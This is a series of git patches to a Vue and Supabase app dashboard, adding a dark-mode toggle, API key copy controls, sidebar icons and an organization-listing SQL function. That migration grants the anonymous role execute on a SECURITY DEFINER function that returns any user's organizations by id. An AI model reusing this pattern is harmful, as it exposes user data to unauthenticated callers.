 1 file changed, 8 insertions(+)

diff --git a/src/components/dashboard/DropdownProfile.vue b/src/components/dashboard/DropdownProfile.vue
index f5d9c61ea0..02c2c030ca 100644
--- a/src/components/dashboard/DropdownProfile.vue
+++ b/src/components/dashboard/DropdownProfile.vue
@@ -3,6 +3,7 @@ import { computed, onMounted, onUnmounted, ref } from 'vue'
 import { useRouter } from 'vue-router'
 import { useI18n } from 'vue-i18n'
 import { Capacitor } from '@capacitor/core'
+import { isDark, toggleDark } from '../../composables/dark'
 import { useMainStore } from '~/stores/main'
 import { getCurrentPlanName } from '~/services/supabase'
 import { openMessenger } from '~/services/chatwoot'
@@ -91,6 +92,13 @@ onUnmounted(() => {
           @focusin="dropdownOpen = true"
           @focusout="dropdownOpen = false"
         >
+          <li>
+            <button class="px-3 py-1" @click="toggleDark()">
+              <div class="text-black dark:text-white">
+                {{ isDark ? 'light_mode' : 'dark_mode' }}
+              </div>
+            </button>
+          </li>
           <li>
             <router-link class="flex items-center px-3 py-1 text-sm font-medium text-blue-500 hover:text-blue-600" to="/dashboard/settings/account" @click="dropdownOpen = false">
               {{ t('settings') }}

From c27828a3756d975d7dac67c6d61d6c4f14207ab1 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:42:17 +0300
Subject: [PATCH 11/96] feat: icons

---
 src/components/package/InfoRow.vue | 19 ++++---------------
 src/pages/dashboard/ApiKeys.vue    | 19 +++++++++++++++----
 2 files changed, 19 insertions(+), 19 deletions(-)

diff --git a/src/components/package/InfoRow.vue b/src/components/package/InfoRow.vue
index 2bb0c52051..d5a8916d1b 100644
--- a/src/components/package/InfoRow.vue
+++ b/src/components/package/InfoRow.vue
@@ -1,10 +1,6 @@
 <script setup lang="ts">
 import debounce from 'lodash.debounce'
 import { reactive, ref, watch } from 'vue'
-import { toast } from 'vue-sonner'
-import { useI18n } from 'vue-i18n'
-import copy from 'copy-text-to-clipboard'
-import { useDisplayStore } from '~/stores/display'
 
 const props = defineProps<{
   label: string
@@ -18,20 +14,11 @@ const emit = defineEmits<{
   (event: 'delete', key: string): void
 }>()
 
-const { t } = useI18n()
-const displayStore = useDisplayStore()
-
 const computedValue = reactive({ value: props.value })
 const rowInput = ref(props.value)
 watch(rowInput, debounce(() => {
   emit('update:value', rowInput.value)
 }, 500))
-
-async function copyKey() {
-  copy(computedValue.value)
-  console.log('displayStore.messageToast', displayStore.messageToast)
-  toast.success(t('key-copied'))
-}
 </script>
 
 <template>
@@ -48,8 +35,10 @@ async function copyKey() {
     >
       <div class="flex flex-row">
         <input v-if="editable" v-model="rowInput" class="block w-full p-1 text-gray-900 bg-white border border-gray-300 rounded-lg dark:bg-gray-50 md:w-1/2 dark:border-gray-600 focus:border-blue-500 dark:bg-gray-700 sm:text-xs dark:text-white focus:ring-blue-500 dark:focus:border-blue-500 dark:focus:ring-blue-500 dark:placeholder-gray-400">
-        <span v-else @click="copyKey()"> {{ computedValue.value }} </span>
-        <slot />
+        <span v-else> {{ computedValue.value }} </span>
+        <div style="margin-left: auto">
+          <slot />
+        </div>
       </div>
     </dd>
   </div>
diff --git a/src/pages/dashboard/ApiKeys.vue b/src/pages/dashboard/ApiKeys.vue
index 472cb5e9f9..9bc6d4ee93 100644
--- a/src/pages/dashboard/ApiKeys.vue
+++ b/src/pages/dashboard/ApiKeys.vue
@@ -2,13 +2,15 @@
 import { ref } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { toast } from 'vue-sonner'
+import copy from 'copy-text-to-clipboard'
 import { useSupabase } from '~/services/supabase'
 import type { Database } from '~/types/supabase.types'
 import { useMainStore } from '~/stores/main'
 import { useDisplayStore } from '~/stores/display'
 import Plus from '~icons/heroicons/plus'
-import ArrowPath from '~icons/heroicons/arrow-path'
 import Trash from '~icons/heroicons/trash'
+import Pencil from '~icons/heroicons/pencil'
+import Clipboard from '~icons/heroicons/clipboard-document'
 
 const { t } = useI18n()
 const displayStore = useDisplayStore()
@@ -185,6 +187,12 @@ async function showAddNewKeyModal() {
   displayStore.showDialog = true
   return displayStore.onDialogDismiss()
 }
+
+async function copyKey(app: Database['public']['Tables']['apikeys']['Row']) {
+  copy(app.key)
+  console.log('displayStore.messageToast', displayStore.messageToast)
+  toast.success(t('key-copied'))
+}
 </script>
 
 <template>
@@ -196,15 +204,18 @@ async function showAddNewKeyModal() {
         {{ t('api-keys') }}
       </h1>
       <button class=" ml-auto mr-2" @click="addNewApiKey()">
-        <Plus class=" text-green-500" />
+        <Plus class="text-green-500" />
       </button>
     </div>
     <div class="flex flex-col">
-      <div class="flex flex-col overflow-y-scroll bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800">
+      <div class="flex flex-col bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800 overflow-hidden">
         <dl class="divide-y divide-gray-500">
           <InfoRow v-for="app in apps" :key="app.id" :label="app.mode.toUpperCase()" :value="app.key" :is-link="true">
             <button class="w-7 h-7 bg-transparent ml-auto" @click="regenrateKey(app)">
-              <ArrowPath class="mr-4 text-lg text-red-600" />
+              <Pencil class="mr-4 text-lg" />
+            </button>
+            <button class="w-7 h-7 bg-transparent ml-auto" @click="copyKey(app)">
+              <Clipboard class="mr-4 text-lg" />
             </button>
             <button class="w-7 h-7 bg-transparent ml-4" @click="deleteKey(app)">
               <Trash class="mr-4 text-lg text-red-600" />

From 8bf49e72709fea878e5cc80defe9af044ee2eb52 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:42:40 +0300
Subject: [PATCH 12/96] fix: reactive

---
 src/components/LineChartStats.vue | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/src/components/LineChartStats.vue b/src/components/LineChartStats.vue
index a17ff38e3a..f9012bd85d 100644
--- a/src/components/LineChartStats.vue
+++ b/src/components/LineChartStats.vue
@@ -9,11 +9,11 @@ import {
   Tooltip,
   // AnimationEvent,
 } from 'chart.js'
-import { computed, ref } from 'vue'
+import { computed, ref, watch } from 'vue'
 import { Line } from 'vue-chartjs'
 import annotationPlugin from 'chartjs-plugin-annotation'
 import { useI18n } from 'vue-i18n'
-import { isDark } from '~/composables'
+import { isDark } from '../composables/dark'
 import { getCurrentDayMonth, getDaysInCurrentMonth } from '~/services/date'
 
 const props = defineProps({
@@ -170,7 +170,7 @@ const chartData = ref<ChartData<'line'>>({
   },
   ],
 })
-const chartOptions = {
+const chartOptions = ref({
   scales: {
     y: {
       ticks: {
@@ -195,7 +195,15 @@ const chartOptions = {
       display: false,
     },
   },
-}
+})
+
+watch(isDark, (value) => {
+  const newColor = `${value ? 'white' : 'black'}`
+  console.log(newColor)
+  chartOptions.value.scales.y.ticks.color = newColor
+  chartOptions.value.scales.x.ticks.color = newColor
+})
+
 // chartData.value.datasets[0].data = props.data as number[]
 </script>
 

From 3f9da867659102a667aefda5e9b48a331c1ebb56 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:42:59 +0300
Subject: [PATCH 13/96] feat: redirect icon

---
 src/components/Sidebar.vue | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/src/components/Sidebar.vue b/src/components/Sidebar.vue
index 5f6b5ba949..1e3dbe015c 100644
--- a/src/components/Sidebar.vue
+++ b/src/components/Sidebar.vue
@@ -65,12 +65,14 @@ const tabs = ref<Tab[]>([
     icon: shallowRef(IconDoc),
     key: '#',
     onClick: () => window.open('https://docs.capgo.app', '_blank'),
+    redirect: true,
   },
   {
     label: t('discord'),
     icon: shallowRef(IconDiscord),
     key: '#',
     onClick: () => window.open('https://discord.gg/VnYRvBfgA6', '_blank'),
+    redirect: true,
   },
 ])
 </script>
@@ -111,6 +113,9 @@ const tabs = ref<Tab[]>([
                   <div class="flex items-center">
                     <component :is="tab.icon" class="w-6 h-6 fill-current" :class="{ 'text-blue-600': isTabActive(tab.key), 'text-slate-400': !isTabActive(tab.key) }" />
                     <span class="ml-3 text-sm font-medium duration-200 lg:sidebar-expanded:opacity-100 2xl:opacity-100 lg:opacity-0" :class="{ 'text-blue-600': isTabActive(tab.key), 'text-slate-400': !isTabActive(tab.key) }">{{ tab.label }}</span>
+                    <svg v-if="tab.redirect" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-6 h-6">
+                      <path stroke-linecap="round" stroke-linejoin="round" d="M13.5 6H5.25A2.25 2.25 0 003 8.25v10.5A2.25 2.25 0 005.25 21h10.5A2.25 2.25 0 0018 18.75V10.5m-10.5 6L21 3m0 0h-5.25M21 3v5.25" />
+                    </svg>
                   </div>
                 </div>
               </button>

From 7bc206930cd2d7b9357d68b2eff58c0962c98e15 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:43:19 +0300
Subject: [PATCH 14/96] components

---
 components.d.ts | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components.d.ts b/components.d.ts
index edb05f5236..29f4575b99 100644
--- a/components.d.ts
+++ b/components.d.ts
@@ -22,6 +22,7 @@ declare module '@vue/runtime-core' {
     DeviceCard: typeof import('./src/components/package/DeviceCard.vue')['default']
     DeviceTable: typeof import('./src/components/tables/DeviceTable.vue')['default']
     Dialog: typeof import('./src/components/Dialog.vue')['default']
+    DropdownOrganization: typeof import('./src/components/dashboard/DropdownOrganization.vue')['default']
     DropdownProfile: typeof import('./src/components/dashboard/DropdownProfile.vue')['default']
     IIonCopyOutline: typeof import('~icons/ion/copy-outline')['default']
     InfoRow: typeof import('./src/components/package/InfoRow.vue')['default']
@@ -31,6 +32,7 @@ declare module '@vue/runtime-core' {
     MobileStats: typeof import('./src/components/MobileStats.vue')['default']
     Navbar: typeof import('./src/components/Navbar.vue')['default']
     NewUserModal: typeof import('./src/components/NewUserModal.vue')['default']
+    OrganizationPicker: typeof import('./src/components/dashboard/OrganizationPicker.vue')['default']
     RouterLink: typeof import('vue-router')['RouterLink']
     RouterView: typeof import('vue-router')['RouterView']
     Searchbar: typeof import('./src/components/Searchbar.vue')['default']

From 8a6f5238d51d3f50a583606239e8f2be86d4f3fc Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:43:34 +0300
Subject: [PATCH 15/96] feat: redirect

---
 src/components/comp_def.ts | 1 +
 1 file changed, 1 insertion(+)

diff --git a/src/components/comp_def.ts b/src/components/comp_def.ts
index 98d9068e2b..c593c0f186 100644
--- a/src/components/comp_def.ts
+++ b/src/components/comp_def.ts
@@ -28,4 +28,5 @@ export interface Tab {
   icon?: FunctionalComponent | ShallowRef<FunctionalComponent<any>>
   key: string
   onClick?: (elem: any | undefined) => void
+  redirect?: boolean
 }

From 7453b7ea0cf05445f2693dad97c594625bac29bf Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:45:31 +0300
Subject: [PATCH 16/96] feat: get_orgs

---
 supabase/migrations/20230815171919_base.sql | 28 +++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index caedcd9c4c..ac9fcbfb65 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -381,6 +381,24 @@ Begin
 End;  
 $$;
 
+CREATE FUNCTION "public"."get_orgs"("userid" "uuid") RETURNS TABLE(id uuid, logo text, name text)
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+BEGIN
+  CREATE TABLE org_ids (id uuid);
+
+  INSERT INTO org_ids
+    SELECT org_id FROM org_users WHERE user_id = userid;
+  
+  RETURN QUERY
+    SELECT o.id AS id, o.logo AS logo, o.name AS name
+    FROM org_ids oi
+    JOIN orgs o ON oi.id = o.id;
+    
+  DROP TABLE org_ids;
+END;  
+$$;
+
 CREATE FUNCTION "public"."get_current_plan_name"("userid" "uuid") RETURNS character varying
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
@@ -1917,6 +1935,16 @@ GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "na
 GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "authenticated";
 GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "service_role";
 
+GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "postgres";
+GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "anon";
+GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "authenticated";
+GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "service_role";
+
+GRANT ALL ON FUNCTION "public"."get_org"("orgid" "uuid") TO "postgres";
+GRANT ALL ON FUNCTION "public"."get_org"("orgid" "uuid") TO "anon";
+GRANT ALL ON FUNCTION "public"."get_org"("orgid" "uuid") TO "authenticated";
+GRANT ALL ON FUNCTION "public"."get_org"("orgid" "uuid") TO "service_role";
+
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "postgres";
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "anon";
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "authenticated";

From dfd2576af93d63fce518ec441748fe464b5b7dfa Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 30 Aug 2023 08:41:46 +0200
Subject: [PATCH 17/96] Improve frontend

---
 components.d.ts                               |   5 +-
 src/components/ApiKeys.vue                    | 228 ++++++++++++++++++
 src/pages/dashboard/ApiKeys.vue               | 225 +----------------
 src/pages/dashboard/settings/Account.vue      | 103 +-------
 .../settings/organization/Api-Keys.vue        | 225 +----------------
 .../settings/organization/General.vue         |  51 +++-
 .../settings/organization/Members.vue         |  56 +++--
 src/services/photos.ts                        | 154 ++++++++++++
 supabase/migrations/20230815171919_base.sql   |  65 ++++-
 9 files changed, 521 insertions(+), 591 deletions(-)
 create mode 100644 src/components/ApiKeys.vue
 create mode 100644 src/services/photos.ts

diff --git a/components.d.ts b/components.d.ts
index 29f4575b99..9c3bceff63 100644
--- a/components.d.ts
+++ b/components.d.ts
@@ -3,13 +3,12 @@
 // @ts-nocheck
 // Generated by unplugin-vue-components
 // Read more: https://github.com/vuejs/core/pull/3399
-import '@vue/runtime-core'
-
 export {}
 
-declare module '@vue/runtime-core' {
+declare module 'vue' {
   export interface GlobalComponents {
     ActionSheet: typeof import('./src/components/ActionSheet.vue')['default']
+    ApiKeys: typeof import('./src/components/ApiKeys.vue')['default']
     AppCard: typeof import('./src/components/dashboard/AppCard.vue')['default']
     AppStat: typeof import('./src/components/package/AppStat.vue')['default']
     AppTable: typeof import('./src/components/tables/AppTable.vue')['default']
diff --git a/src/components/ApiKeys.vue b/src/components/ApiKeys.vue
new file mode 100644
index 0000000000..9bc6d4ee93
--- /dev/null
+++ b/src/components/ApiKeys.vue
@@ -0,0 +1,228 @@
+<script setup lang="ts">
+import { ref } from 'vue'
+import { useI18n } from 'vue-i18n'
+import { toast } from 'vue-sonner'
+import copy from 'copy-text-to-clipboard'
+import { useSupabase } from '~/services/supabase'
+import type { Database } from '~/types/supabase.types'
+import { useMainStore } from '~/stores/main'
+import { useDisplayStore } from '~/stores/display'
+import Plus from '~icons/heroicons/plus'
+import Trash from '~icons/heroicons/trash'
+import Pencil from '~icons/heroicons/pencil'
+import Clipboard from '~icons/heroicons/clipboard-document'
+
+const { t } = useI18n()
+const displayStore = useDisplayStore()
+const main = useMainStore()
+const isLoading = ref(false)
+const supabase = useSupabase()
+const apps = ref<Database['public']['Tables']['apikeys']['Row'][]>()
+async function getKeys(retry = true): Promise<void> {
+  isLoading.value = true
+  const { data } = await supabase
+    .from('apikeys')
+    .select()
+    .eq('user_id', main.user?.id)
+  if (data && data.length)
+    apps.value = data
+
+  else if (retry && main.user?.id)
+    return getKeys(false)
+
+  isLoading.value = false
+}
+displayStore.NavTitle = ''
+getKeys()
+
+async function addNewApiKey() {
+  if (await showAddNewKeyModal())
+    return
+
+  const keyType = displayStore.lastButtonRole
+
+  let databaseKeyType: 'read' | 'write' | 'all' | 'upload'
+
+  switch (keyType) {
+    case 'cancel':
+    case '':
+      return
+    case 'read-button':
+      databaseKeyType = 'read'
+      break
+    case 'upload-button':
+      databaseKeyType = 'upload'
+      break
+    case 'all-button':
+      databaseKeyType = 'all'
+      break
+    default:
+      return
+  }
+
+  const newApiKey = crypto.randomUUID()
+  const { data: { user } } = await supabase.auth.getUser()
+
+  if (!user) {
+    console.log('Not logged in, cannot regenerate API key')
+    return
+  }
+
+  const { data, error } = await supabase
+    .from('apikeys')
+    .upsert({ user_id: user.id, key: newApiKey, mode: databaseKeyType })
+    .select()
+
+  if (error)
+    throw error
+
+  apps.value?.push(data[0])
+  toast.success(t('add-api-key'))
+}
+
+async function regenrateKey(app: Database['public']['Tables']['apikeys']['Row']) {
+  if (await showRegenerateKeyModal())
+    return
+
+  const newApiKey = crypto.randomUUID()
+  const { data: { user } } = await supabase.auth.getUser()
+
+  if (!user) {
+    console.log('Not logged in, cannot regenerate API key')
+    return
+  }
+
+  const { error } = await supabase
+    .from('apikeys')
+    .update({ key: newApiKey })
+    .eq('user_id', user.id)
+    .eq('key', app.key)
+
+  if (error || typeof newApiKey !== 'string')
+    throw error
+
+  app.key = newApiKey
+
+  toast.success(t('generated-new-apikey'))
+}
+
+async function deleteKey(app: Database['public']['Tables']['apikeys']['Row']) {
+  if (await showDeleteKeyModal())
+    return
+
+  const { error } = await supabase
+    .from('apikeys')
+    .delete()
+    .eq('key', app.key)
+
+  if (error)
+    throw error
+
+  toast.success(t('removed-apikey'))
+  apps.value = apps.value?.filter(filterKey => filterKey.key !== app.key)
+}
+
+// This returns true if user has canceled the action
+async function showRegenerateKeyModal() {
+  displayStore.dialogOption = {
+    header: t('alert-confirm-regenerate'),
+    message: `${t('alert-not-reverse-message')}. ${t('alert-regenerate-key')}?`,
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+      {
+        text: t('button-regenerate'),
+        id: 'confirm-button',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+  return displayStore.onDialogDismiss()
+}
+
+async function showDeleteKeyModal() {
+  displayStore.dialogOption = {
+    header: t('alert-confirm-delete'),
+    message: `${t('alert-not-reverse-message')} ${t('alert-delete-message')}?`,
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+      {
+        text: t('button-delete'),
+        id: 'confirm-button',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+  return displayStore.onDialogDismiss()
+}
+
+async function showAddNewKeyModal() {
+  displayStore.dialogOption = {
+    header: t('alert-add-new-key'),
+    message: t('alert-generate-new-key'),
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+      {
+        text: t('key-read'),
+        id: 'read-button',
+      },
+      {
+        text: t('key-upload'),
+        id: 'upload-button',
+      },
+      {
+        text: t('key-all'),
+        id: 'all-button',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+  return displayStore.onDialogDismiss()
+}
+
+async function copyKey(app: Database['public']['Tables']['apikeys']['Row']) {
+  copy(app.key)
+  console.log('displayStore.messageToast', displayStore.messageToast)
+  toast.success(t('key-copied'))
+}
+</script>
+
+<template>
+  <div class="w-full h-full px-4 py-8 mx-auto max-w-9xl lg:px-8 sm:px-6">
+    <!-- Page header -->
+    <div class="mb-6 flex flex-row w-[66.666667%] ml-auto mr-auto">
+      <!-- Title -->
+      <h1 class="ml-2 text-2xl font-bold text-slate-800 md:text-3xl dark:text-white">
+        {{ t('api-keys') }}
+      </h1>
+      <button class=" ml-auto mr-2" @click="addNewApiKey()">
+        <Plus class="text-green-500" />
+      </button>
+    </div>
+    <div class="flex flex-col">
+      <div class="flex flex-col bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800 overflow-hidden">
+        <dl class="divide-y divide-gray-500">
+          <InfoRow v-for="app in apps" :key="app.id" :label="app.mode.toUpperCase()" :value="app.key" :is-link="true">
+            <button class="w-7 h-7 bg-transparent ml-auto" @click="regenrateKey(app)">
+              <Pencil class="mr-4 text-lg" />
+            </button>
+            <button class="w-7 h-7 bg-transparent ml-auto" @click="copyKey(app)">
+              <Clipboard class="mr-4 text-lg" />
+            </button>
+            <button class="w-7 h-7 bg-transparent ml-4" @click="deleteKey(app)">
+              <Trash class="mr-4 text-lg text-red-600" />
+            </button>
+          </InfoRow>
+        </dl>
+      </div>
+    </div>
+  </div>
+</template>
diff --git a/src/pages/dashboard/ApiKeys.vue b/src/pages/dashboard/ApiKeys.vue
index 9bc6d4ee93..53b95a6f47 100644
--- a/src/pages/dashboard/ApiKeys.vue
+++ b/src/pages/dashboard/ApiKeys.vue
@@ -1,228 +1,7 @@
 <script setup lang="ts">
-import { ref } from 'vue'
-import { useI18n } from 'vue-i18n'
-import { toast } from 'vue-sonner'
-import copy from 'copy-text-to-clipboard'
-import { useSupabase } from '~/services/supabase'
-import type { Database } from '~/types/supabase.types'
-import { useMainStore } from '~/stores/main'
-import { useDisplayStore } from '~/stores/display'
-import Plus from '~icons/heroicons/plus'
-import Trash from '~icons/heroicons/trash'
-import Pencil from '~icons/heroicons/pencil'
-import Clipboard from '~icons/heroicons/clipboard-document'
-
-const { t } = useI18n()
-const displayStore = useDisplayStore()
-const main = useMainStore()
-const isLoading = ref(false)
-const supabase = useSupabase()
-const apps = ref<Database['public']['Tables']['apikeys']['Row'][]>()
-async function getKeys(retry = true): Promise<void> {
-  isLoading.value = true
-  const { data } = await supabase
-    .from('apikeys')
-    .select()
-    .eq('user_id', main.user?.id)
-  if (data && data.length)
-    apps.value = data
-
-  else if (retry && main.user?.id)
-    return getKeys(false)
-
-  isLoading.value = false
-}
-displayStore.NavTitle = ''
-getKeys()
-
-async function addNewApiKey() {
-  if (await showAddNewKeyModal())
-    return
-
-  const keyType = displayStore.lastButtonRole
-
-  let databaseKeyType: 'read' | 'write' | 'all' | 'upload'
-
-  switch (keyType) {
-    case 'cancel':
-    case '':
-      return
-    case 'read-button':
-      databaseKeyType = 'read'
-      break
-    case 'upload-button':
-      databaseKeyType = 'upload'
-      break
-    case 'all-button':
-      databaseKeyType = 'all'
-      break
-    default:
-      return
-  }
-
-  const newApiKey = crypto.randomUUID()
-  const { data: { user } } = await supabase.auth.getUser()
-
-  if (!user) {
-    console.log('Not logged in, cannot regenerate API key')
-    return
-  }
-
-  const { data, error } = await supabase
-    .from('apikeys')
-    .upsert({ user_id: user.id, key: newApiKey, mode: databaseKeyType })
-    .select()
-
-  if (error)
-    throw error
-
-  apps.value?.push(data[0])
-  toast.success(t('add-api-key'))
-}
-
-async function regenrateKey(app: Database['public']['Tables']['apikeys']['Row']) {
-  if (await showRegenerateKeyModal())
-    return
-
-  const newApiKey = crypto.randomUUID()
-  const { data: { user } } = await supabase.auth.getUser()
-
-  if (!user) {
-    console.log('Not logged in, cannot regenerate API key')
-    return
-  }
-
-  const { error } = await supabase
-    .from('apikeys')
-    .update({ key: newApiKey })
-    .eq('user_id', user.id)
-    .eq('key', app.key)
-
-  if (error || typeof newApiKey !== 'string')
-    throw error
-
-  app.key = newApiKey
-
-  toast.success(t('generated-new-apikey'))
-}
-
-async function deleteKey(app: Database['public']['Tables']['apikeys']['Row']) {
-  if (await showDeleteKeyModal())
-    return
-
-  const { error } = await supabase
-    .from('apikeys')
-    .delete()
-    .eq('key', app.key)
-
-  if (error)
-    throw error
-
-  toast.success(t('removed-apikey'))
-  apps.value = apps.value?.filter(filterKey => filterKey.key !== app.key)
-}
-
-// This returns true if user has canceled the action
-async function showRegenerateKeyModal() {
-  displayStore.dialogOption = {
-    header: t('alert-confirm-regenerate'),
-    message: `${t('alert-not-reverse-message')}. ${t('alert-regenerate-key')}?`,
-    buttons: [
-      {
-        text: t('button-cancel'),
-        role: 'cancel',
-      },
-      {
-        text: t('button-regenerate'),
-        id: 'confirm-button',
-      },
-    ],
-  }
-  displayStore.showDialog = true
-  return displayStore.onDialogDismiss()
-}
-
-async function showDeleteKeyModal() {
-  displayStore.dialogOption = {
-    header: t('alert-confirm-delete'),
-    message: `${t('alert-not-reverse-message')} ${t('alert-delete-message')}?`,
-    buttons: [
-      {
-        text: t('button-cancel'),
-        role: 'cancel',
-      },
-      {
-        text: t('button-delete'),
-        id: 'confirm-button',
-      },
-    ],
-  }
-  displayStore.showDialog = true
-  return displayStore.onDialogDismiss()
-}
-
-async function showAddNewKeyModal() {
-  displayStore.dialogOption = {
-    header: t('alert-add-new-key'),
-    message: t('alert-generate-new-key'),
-    buttons: [
-      {
-        text: t('button-cancel'),
-        role: 'cancel',
-      },
-      {
-        text: t('key-read'),
-        id: 'read-button',
-      },
-      {
-        text: t('key-upload'),
-        id: 'upload-button',
-      },
-      {
-        text: t('key-all'),
-        id: 'all-button',
-      },
-    ],
-  }
-  displayStore.showDialog = true
-  return displayStore.onDialogDismiss()
-}
-
-async function copyKey(app: Database['public']['Tables']['apikeys']['Row']) {
-  copy(app.key)
-  console.log('displayStore.messageToast', displayStore.messageToast)
-  toast.success(t('key-copied'))
-}
+import ApiKeys from '~/components/ApiKeys.vue'
 </script>
 
 <template>
-  <div class="w-full h-full px-4 py-8 mx-auto max-w-9xl lg:px-8 sm:px-6">
-    <!-- Page header -->
-    <div class="mb-6 flex flex-row w-[66.666667%] ml-auto mr-auto">
-      <!-- Title -->
-      <h1 class="ml-2 text-2xl font-bold text-slate-800 md:text-3xl dark:text-white">
-        {{ t('api-keys') }}
-      </h1>
-      <button class=" ml-auto mr-2" @click="addNewApiKey()">
-        <Plus class="text-green-500" />
-      </button>
-    </div>
-    <div class="flex flex-col">
-      <div class="flex flex-col bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800 overflow-hidden">
-        <dl class="divide-y divide-gray-500">
-          <InfoRow v-for="app in apps" :key="app.id" :label="app.mode.toUpperCase()" :value="app.key" :is-link="true">
-            <button class="w-7 h-7 bg-transparent ml-auto" @click="regenrateKey(app)">
-              <Pencil class="mr-4 text-lg" />
-            </button>
-            <button class="w-7 h-7 bg-transparent ml-auto" @click="copyKey(app)">
-              <Clipboard class="mr-4 text-lg" />
-            </button>
-            <button class="w-7 h-7 bg-transparent ml-4" @click="deleteKey(app)">
-              <Trash class="mr-4 text-lg text-red-600" />
-            </button>
-          </InfoRow>
-        </dl>
-      </div>
-    </div>
-  </div>
+  <ApiKeys />
 </template>
diff --git a/src/pages/dashboard/settings/Account.vue b/src/pages/dashboard/settings/Account.vue
index bf8b794923..f07d9753c1 100644
--- a/src/pages/dashboard/settings/Account.vue
+++ b/src/pages/dashboard/settings/Account.vue
@@ -1,11 +1,7 @@
 <script setup lang="ts">
-import mime from 'mime'
-import { decode } from 'base64-arraybuffer'
-import { Camera, CameraResultType, CameraSource } from '@capacitor/camera'
 import { computed, onMounted, ref } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { useRouter } from 'vue-router'
-import { Filesystem } from '@capacitor/filesystem'
 import { setErrors } from '@formkit/core'
 import { FormKitMessages, reset } from '@formkit/vue'
 import { toast } from 'vue-sonner'
@@ -18,6 +14,7 @@ import { useDisplayStore } from '~/stores/display'
 import IconVersion from '~icons/radix-icons/update'
 import { availableLocales, i18n, loadLanguageAsync } from '~/modules/i18n'
 import { iconEmail, iconName } from '~/services/icons'
+import { pickPhoto, takePhoto } from '~/services/photos'
 
 const version = import.meta.env.VITE_APP_VERSION
 const { t } = useI18n()
@@ -28,100 +25,6 @@ const main = useMainStore()
 const isLoading = ref(false)
 // const errorMessage = ref('')
 
-async function updloadPhoto(data: string, fileName: string, contentType: string) {
-  const { error } = await supabase.storage
-    .from('images')
-    .upload(`${main.user?.id}/${fileName}`, decode(data), {
-      contentType,
-    })
-
-  const { data: res } = supabase.storage
-    .from('images')
-    .getPublicUrl(`${main.user?.id}/${fileName}`)
-
-  const { data: usr, error: dbError } = await supabase
-    .from('users')
-    .update({ image_url: res.publicUrl })
-    .eq('id', main.user?.id)
-    .select()
-    .single()
-  isLoading.value = false
-
-  if (error || dbError || !res.publicUrl || !usr) {
-    setErrors('update-account', [t('something-went-wrong-try-again-later')], {})
-    console.error('upload error', error, dbError)
-    return
-  }
-  main.user = usr
-}
-
-async function takePhoto() {
-  const cameraPhoto = await Camera.getPhoto({
-    resultType: CameraResultType.DataUrl,
-    source: CameraSource.Camera,
-    quality: 100,
-  })
-
-  isLoading.value = true
-
-  const fileName = `${new Date().getTime()}.${cameraPhoto.format}`
-
-  if (!cameraPhoto.dataUrl)
-    return
-
-  const contentType = mime.getType(cameraPhoto.format)
-
-  if (!contentType)
-    return
-  try {
-    await updloadPhoto(cameraPhoto.dataUrl.split('base64,')[1], fileName, contentType)
-  }
-  catch (e) {
-    console.error(e)
-    isLoading.value = false
-  }
-}
-function blobToData(blob: Blob) {
-  return new Promise<string>((resolve) => {
-    const reader = new FileReader()
-    reader.onloadend = () => resolve(reader.result as string)
-    reader.readAsDataURL(blob)
-  })
-}
-async function pickPhoto() {
-  const { photos } = await Camera.pickImages({
-    limit: 1,
-    quality: 100,
-  })
-  isLoading.value = true
-  if (photos.length === 0)
-    return
